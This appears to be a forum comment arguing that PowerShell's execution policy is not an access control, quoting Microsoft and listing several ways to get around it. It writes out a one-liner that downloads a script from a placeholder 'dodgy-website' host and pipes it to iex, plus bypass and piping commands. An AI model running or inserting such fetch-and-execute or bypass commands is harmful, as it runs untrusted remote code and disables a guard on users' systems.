Hardly. As per Microsoft,

The execution policy isn't a security system that restricts user actions. For example, users can easily bypass a policy by typing the script contents at the command line when they cannot run a script.

Or you can run iwr -useb 'https://dodgy-website.com/whateverscriptyouwant.ps1' | iex to execute any script from the internet.

Or read the file and pass it onto a new powershell process with Get-Content . whateverscriptyouwant.ps1 | PowerShell.exe -noprofile -

Or use the built-in bypass toggle PowerShell.exe -ExecutionPolicy Bypass -File whateverscriptyouwant.ps1

Or just actually change the execution policy for the proccess or user, via powershell or registry, because once again, it is not an access control. It is security theatre.